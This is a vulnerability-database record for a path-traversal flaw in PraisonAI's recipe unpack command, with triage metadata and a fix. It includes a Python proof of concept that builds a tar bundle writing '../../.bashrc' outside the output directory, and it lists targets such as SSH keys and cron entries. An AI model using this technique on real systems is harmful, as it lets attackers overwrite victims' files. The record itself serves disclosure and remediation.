{"id":"CVE-2026-40157","kind":"vulnerability","aliases":["CVE-2026-40157","GHSA-99g3-w8gr-x37c"],"related":[],"title":"PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`","description":"| Field | Value |\n|---|---|\n| Severity | Critical |\n| Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation |\n| Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` |\n\n## Summary\n\n`cmd_unpack` in the recipe CLI extracts `.praison` tar archives using raw `tar.extract()` without validating archive member paths. A `.praison` bundle containing `../../` entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run `praisonai recipe unpack`.\n\n## Details\n\nThe vulnerable code is in `cli/features/recipe.py:1170-1172`:\n\n```python\nfor member in tar.getmembers():\n    if member.name != \"manifest.json\":\n        tar.extract(member, recipe_dir)\n```\n\nThe only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python's `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`.\n\nThe codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it.\n\n```python\n# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:\n    dest = str(dest_dir.resolve())\n    for member in tar.getmembers():\n        if os.path.isabs(member.name):\n            raise RegistryError(...)\n        if \"..\" in member.name.split(\"/\"):\n            raise RegistryError(...)\n        resolved = os.path.realpath(os.path.join(dest, member.name))\n        if not resolved.startswith(dest + os.sep):\n            raise RegistryError(...)\n    tar.extractall(dest_dir)\n```\n\n## PoC\n\nBuild a malicious bundle:\n\n```python\nimport tarfile, io, json\n\nmanifest = json.dumps({\"name\": \"legit-recipe\", \"version\": \"1.0.0\"}).encode()\n\nwith tarfile.open(\"malicious.praison\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(name=\"manifest.json\")\n    info.size = len(manifest)\n    tar.addfile(info, io.BytesIO(manifest))\n\n    payload = b\"export EVIL=1  # injected by malicious recipe\\n\"\n    evil = tarfile.TarInfo(name=\"../../.bashrc\")\n    evil.size = len(payload)\n    tar.addfile(evil, io.BytesIO(payload))\n```\n\nTrigger:\n\n```bash\npraisonai recipe unpack malicious.praison -o ./recipes\n# Expected: files written only under ./recipes/legit-recipe/\n# Actual:   .bashrc written two directories above the output dir\n```\n\n## Impact\n\n| Path | Traversal blocked? |\n|------|--------------------|\n| `praisonai recipe pull <name>` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe publish <bundle>` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe unpack <bundle>` | No -- raw `tar.extract()` |\n\nAn attacker needs to get a victim to unpack a malicious `.praison` bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.\n\nDepending on filesystem permissions, an attacker can overwrite shell config files (`.bashrc`, `.zshrc`), cron entries, SSH `authorized_keys`, or project files in parent directories. The attacker controls both the path and the content of every written file.\n\n## Remediation\n\nReplace the raw extraction loop with `_safe_extractall`:\n\n```python\n# cli/features/recipe.py:1170-1172\n# Before:\nfor member in tar.getmembers():\n    if member.name != \"manifest.json\":\n        tar.extract(member, recipe_dir)\n\n# After:\nfrom praisonai.recipe.registry import _safe_extractall\n_safe_extractall(tar, recipe_dir)\n```\n\n### Affected paths\n\n- `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` -- `cmd_unpack` extracts tar members without path validation","summary":"The `praisonai recipe unpack` command extracts `.praison` archives without checking member paths, so entries containing `../` are written outside the output directory. An attacker who gets a victim to unpack a crafted bundle can overwrite arbitrary files the victim can write, such as shell configs or SSH keys.","severity":"critical","cvss":9.4,"epss":0.00385,"exploited":false,"exploited_at":null,"products":[{"name":"PraisonAI","fixed":["4.5.128"],"affected":">= 2.7.2, < 4.5.128","ecosystem":"pypi"},{"name":"praison praisonai","fixed":["4.5.128"],"affected":"< 4.5.128","ecosystem":"vendor"},{"via":"cpe","name":"PraisonAI","fixed":["4.5.128"],"affected":"< 4.5.128","ecosystem":"pypi"}],"ecosystems":["pypi","vendor"],"tags":["ai-agents","ai-tooling","cli","cwe-22","praisonai","python"],"not_affected_if":["no-recipe-unpack","trusted-bundles-only","version-4.5.128-or-later"],"how_to_check":"- Check the installed PraisonAI version with `pip show PraisonAI`; versions from `2.7.2` up to but not including `4.5.128` are affected.\n- Look for `cmd_unpack` in `praisonai/cli/features/recipe.py` and check whether it calls `tar.extract` directly instead of `_safe_extractall`.","fix":"- PraisonAI (pypi): move to `4.5.128`.","status":"open","published_at":"2026-04-10T17:17:13+00:00","first_seen_at":"2026-11-16T15:58:20+00:00","triaged_at":"2026-11-16T15:58:33+00:00","updated_at":"2026-11-16T16:08:50+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-11-16T15:58:33Z","model":"claude-haiku-5-5","output":{"fix":"- PraisonAI (pypi): move to `4.5.128`.","reach":"local","title":"PraisonAI: recipe unpack lets a malicious bundle write files anywhere","impact":"high","summary":"The `praisonai recipe unpack` command extracts `.praison` archives without checking member paths, so entries containing `../` are written outside the output directory. An attacker who gets a victim to unpack a crafted bundle can overwrite arbitrary files the victim can write, such as shell configs or SSH keys.","audience":"developers","category":"ai-tooling","nicknames":[],"who_cares":["praisonai","python","ai-agents","cli"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Arbitrary file overwrite lets an attacker plant code in shell configs or SSH keys.","analyst_note":"","how_to_check":"- Check the installed PraisonAI version with `pip show PraisonAI`; versions from `2.7.2` up to but not including `4.5.128` are affected.\n- Look for `cmd_unpack` in `praisonai/cli/features/recipe.py` and check whether it calls `tar.extract` directly instead of `_safe_extractall`.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["no-recipe-unpack","trusted-bundles-only","version-4.5.128-or-later"],"who_is_affected":"Teams that run the PraisonAI CLI and unpack `.praison` recipe bundles from sources they do not fully trust, including bundles shared through repositories, tutorials or colleagues. Systems that never run `recipe unpack` on external bundles are not exposed through this path, since the sources say `pull` and `publish` already validate paths.","user_interaction":"yes","product_ecosystem":"","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.000929,"input_tokens":6113,"output_tokens":635,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-1172':105C,169C,507C,535C '-159':269C '-162':238C '-2026':15A,23A '-22':37B '-40157':16A,24A '/..':129C '/../.bashrc':218C,371C '/recipes':386C '/recipes/legit-recipe':392C '1':362C '1.0.0':338C '1170':104C,168C,506C,534C '131':237C '141':268C '99g3':19A 'absolut':197C,241C 'actual':393C 'affect':102C,531C 'agent':31B 'ai':30B,33B 'ai-ag':29B 'ai-tool':32B 'arbitrari':4A,74B,94C,148C 'archiv':47B,116C,122C 'attack':62B,140C,427C,463C,483C 'author':474C 'b':359C 'bash':380C 'bashrc':394C,469C 'block':405C 'build':322C 'bundl':71B,127C,145C,325C,438C 'call':264C 'check':49B,184C 'cli':35B,112C 'cli/features/recipe.py':167C,505C 'cmd':107C,260C,278C,536C 'code':164C,192C 'codebas':226C 'colleagu':456C 'command':44B 'compon':199C 'config':83B,467C 'contain':54B,128C,228C 'content':490C 'control':484C 'craft':70B 'critic':90C 'cron':471C 'cve':14A,22A 'cwe':36B 'def':280C 'depend':458C 'dest':285C,289C,309C,314C,319C 'dest_dir.resolve':291C 'destin':213C,249C 'detail':161C 'dir':181C,224C,286C,320C,401C,519C,530C 'direct':457C 'directori':60B,138C,221C,397C,481C 'distribut':142C 'encod':339C 'entri':53B,130C,472C 'everi':492C 'evil':361C,368C,376C 'evil.size':372C 'exist':272C 'expect':387C 'export':360C 'extract':45B,113C,231C,499C,538C 'extractal':234C,282C,412C,419C,503C,525C,527C 'field':87C 'file':5A,75B,95C,133C,149C,388C,468C,478C,494C 'filesystem':154C,460C 'function':232C 'get':64B,430C 'ghsa':18A 'ghsa-99g3-w8gr-x37c':17A 'gz':344C 'impact':402C 'import':327C,523C 'info':347C,355C 'info.size':351C 'inject':363C 'intend':136C 'io':329C 'io.bytesio':356C,377C 'json':330C 'json.dumps':332C 'key':86B,475C 'land':219C 'legit':335C 'legit-recip':334C 'len':352C,373C 'link':446C 'loop':500C 'malici':144C,324C,365C,436C 'malicious.praison':342C,384C 'manifest':331C,353C,357C 'manifest.json':177C,190C,350C,515C 'member':50B,100C,123C,172C,179C,188C,195C,216C,293C,510C,517C,540C 'member.name':176C,298C,310C,514C 'member.name.split':303C 'n':367C 'name':196C,217C,333C,349C,370C 'need':428C 'never':193C 'none':288C 'o':385C 'os.path.isabs':297C 'os.path.join':308C 'os.path.realpath':307C 'os.sep':315C 'output':59B,137C,400C 'outsid':57B,134C,247C 'overwrit':73B,147C,465C 'parent':480C 'pass':203C 'path':8A,51B,92C,124C,198C,242C,246C,258C,287C,403C,487C,532C,542C 'payload':358C,374C,378C 'permiss':461C 'poc':321C 'praison':26A,46B,114C,126C,437C 'praisonai':1A,11A,25A,27A,28A,38B,41B,158C,381C,406C,413C,420C 'praisonai.recipe.registry':522C 'project':477C 'publish':257C,415C 'pull':255C,408C 'python':39B,170C,205C,266C,326C,504C 'rais':299C,304C,316C 'raw':118C,424C,498C 'recip':12A,42B,111C,159C,180C,223C,336C,366C,382C,407C,414C,421C,443C,518C,529C 'recipe/registry.py':236C,267C 'registryerror':300C,305C,317C 'reject':240C 'relat':210C 'remedi':495C 'replac':496C 'repositori':444C 'resolv':208C,245C,306C 'resolved.startswith':313C 'run':157C 'safe':230C,233C,270C,281C,411C,418C,502C,524C,526C 'say':439C 'segment':243C 'send':452C 'sever':89C 'share':442C 'shell':82B,466C 'src/praisonai/praisonai/cli/features/recipe.py':103C,533C 'ssh':85B,473C 'str':290C 'summari':106C 'symlink':201C 'tar':115C,283C,346C,528C,539C 'tar.addfile':354C,375C 'tar.extract':98C,119C,178C,425C,516C 'tar.extractall':318C 'tar.getmembers':174C,295C,512C 'tarfil':328C 'tarfile.extract':207C 'tarfile.open':341C 'tarfile.tarfile':284C 'tarfile.tarinfo':348C,369C 'tool':34B 'travers':9A,93C,404C 'trigger':379C 'tutori':449C 'two':220C,396C 'type':91C 'unpack':13A,43B,68B,108C,160C,261C,279C,383C,422C,434C,537C 'use':117C,252C,276C,410C,417C 'valid':101C,121C,194C,543C 'valu':88C 'version':271C,337C 'via':7A,97C 'victim':66B,77B,152C,432C 'vulner':2A,163C 'w':343C 'w8gr':20A 'whether':186C 'without':48B,99C,120C,541C 'write':6A,79B,96C,132C 'written':56B,389C,395C,493C 'x37c':21A 'yes':409C,416C 'zshrc':470C","nicknames":[],"mitigations":[],"who_affected":"Teams that run the PraisonAI CLI and unpack `.praison` recipe bundles from sources they do not fully trust, including bundles shared through repositories, tutorials or colleagues. Systems that never run `recipe unpack` on external bundles are not exposed through this path, since the sources say `pull` and `publish` already validate paths.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["praisonai","praisonpraisonai"],"ptokens":["praison","praisonai"],"labels":["aiagents","aitooling","cli","critical","cwe22","praisonai","pypi","python","vendor"],"campaign_type":null,"search_a":"'-2026':15A,23A '-40157':16A,24A '99g3':19A 'arbitrari':4A 'cve':14A,22A 'file':5A 'ghsa':18A 'ghsa-99g3-w8gr-x37c':17A 'path':8A 'praison':26A 'praisonai':1A,11A,25A,27A,28A 'recip':12A 'travers':9A 'unpack':13A 'via':7A 'vulner':2A 'w8gr':20A 'write':6A 'x37c':21A","search_b":"'-22':37B 'agent':31B 'ai':30B,33B 'ai-ag':29B 'ai-tool':32B 'arbitrari':74B 'archiv':47B 'attack':62B 'bundl':71B 'check':49B 'cli':35B 'command':44B 'config':83B 'contain':54B 'craft':70B 'cwe':36B 'directori':60B 'entri':53B 'extract':45B 'file':75B 'get':64B 'key':86B 'member':50B 'output':59B 'outsid':57B 'overwrit':73B 'path':51B 'praison':46B 'praisonai':38B,41B 'python':39B 'recip':42B 'shell':82B 'ssh':85B 'tool':34B 'unpack':43B,68B 'victim':66B,77B 'without':48B 'write':79B 'written':56B","search_c":"'-1172':105C,169C,507C,535C '-159':269C '-162':238C '/..':129C '/../.bashrc':218C,371C '/recipes':386C '/recipes/legit-recipe':392C '1':362C '1.0.0':338C '1170':104C,168C,506C,534C '131':237C '141':268C 'absolut':197C,241C 'actual':393C 'affect':102C,531C 'arbitrari':94C,148C 'archiv':116C,122C 'attack':140C,427C,463C,483C 'author':474C 'b':359C 'bash':380C 'bashrc':394C,469C 'block':405C 'build':322C 'bundl':127C,145C,325C,438C 'call':264C 'check':184C 'cli':112C 'cli/features/recipe.py':167C,505C 'cmd':107C,260C,278C,536C 'code':164C,192C 'codebas':226C 'colleagu':456C 'compon':199C 'config':467C 'contain':128C,228C 'content':490C 'control':484C 'critic':90C 'cron':471C 'def':280C 'depend':458C 'dest':285C,289C,309C,314C,319C 'dest_dir.resolve':291C 'destin':213C,249C 'detail':161C 'dir':181C,224C,286C,320C,401C,519C,530C 'direct':457C 'directori':138C,221C,397C,481C 'distribut':142C 'encod':339C 'entri':130C,472C 'everi':492C 'evil':361C,368C,376C 'evil.size':372C 'exist':272C 'expect':387C 'export':360C 'extract':113C,231C,499C,538C 'extractal':234C,282C,412C,419C,503C,525C,527C 'field':87C 'file':95C,133C,149C,388C,468C,478C,494C 'filesystem':154C,460C 'function':232C 'get':430C 'gz':344C 'impact':402C 'import':327C,523C 'info':347C,355C 'info.size':351C 'inject':363C 'intend':136C 'io':329C 'io.bytesio':356C,377C 'json':330C 'json.dumps':332C 'key':475C 'land':219C 'legit':335C 'legit-recip':334C 'len':352C,373C 'link':446C 'loop':500C 'malici':144C,324C,365C,436C 'malicious.praison':342C,384C 'manifest':331C,353C,357C 'manifest.json':177C,190C,350C,515C 'member':100C,123C,172C,179C,188C,195C,216C,293C,510C,517C,540C 'member.name':176C,298C,310C,514C 'member.name.split':303C 'n':367C 'name':196C,217C,333C,349C,370C 'need':428C 'never':193C 'none':288C 'o':385C 'os.path.isabs':297C 'os.path.join':308C 'os.path.realpath':307C 'os.sep':315C 'output':137C,400C 'outsid':134C,247C 'overwrit':147C,465C 'parent':480C 'pass':203C 'path':92C,124C,198C,242C,246C,258C,287C,403C,487C,532C,542C 'payload':358C,374C,378C 'permiss':461C 'poc':321C 'praison':114C,126C,437C 'praisonai':158C,381C,406C,413C,420C 'praisonai.recipe.registry':522C 'project':477C 'publish':257C,415C 'pull':255C,408C 'python':170C,205C,266C,326C,504C 'rais':299C,304C,316C 'raw':118C,424C,498C 'recip':111C,159C,180C,223C,336C,366C,382C,407C,414C,421C,443C,518C,529C 'recipe/registry.py':236C,267C 'registryerror':300C,305C,317C 'reject':240C 'relat':210C 'remedi':495C 'replac':496C 'repositori':444C 'resolv':208C,245C,306C 'resolved.startswith':313C 'run':157C 'safe':230C,233C,270C,281C,411C,418C,502C,524C,526C 'say':439C 'segment':243C 'send':452C 'sever':89C 'share':442C 'shell':466C 'src/praisonai/praisonai/cli/features/recipe.py':103C,533C 'ssh':473C 'str':290C 'summari':106C 'symlink':201C 'tar':115C,283C,346C,528C,539C 'tar.addfile':354C,375C 'tar.extract':98C,119C,178C,425C,516C 'tar.extractall':318C 'tar.getmembers':174C,295C,512C 'tarfil':328C 'tarfile.extract':207C 'tarfile.open':341C 'tarfile.tarfile':284C 'tarfile.tarinfo':348C,369C 'travers':93C,404C 'trigger':379C 'tutori':449C 'two':220C,396C 'type':91C 'unpack':108C,160C,261C,279C,383C,422C,434C,537C 'use':117C,252C,276C,410C,417C 'valid':101C,121C,194C,543C 'valu':88C 'version':271C,337C 'via':97C 'victim':152C,432C 'vulner':163C 'w':343C 'whether':186C 'without':99C,120C,541C 'write':96C,132C 'written':389C,395C,493C 'yes':409C,416C 'zshrc':470C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-04-09T10:02:05+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-99g3-w8gr-x37c","url":"https://github.com/advisories/GHSA-99g3-w8gr-x37c","severity":"critical","published_at":"2026-04-10T19:27:59+00:00","modified_at":"2026-11-16T15:57:15+00:00","first_seen_at":"2026-11-16T15:58:20+00:00","fetched_at":"2026-11-16T16:07:02+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-40157","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40157","severity":null,"published_at":"2026-04-10T17:17:13+00:00","modified_at":"2026-10-26T00:10:00+00:00","first_seen_at":"2026-11-16T16:08:50+00:00","fetched_at":"2026-11-16T16:08:50+00:00","note":null}],"documents":[{"id":170847,"url":"https://api.github.com/repos/MervinPraison/PraisonAI/security-advisories/GHSA-99g3-w8gr-x37c","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":170848,"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-99g3-w8gr-x37c","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-04-09T10:02:05+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":102495,"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.00385,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-40157"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}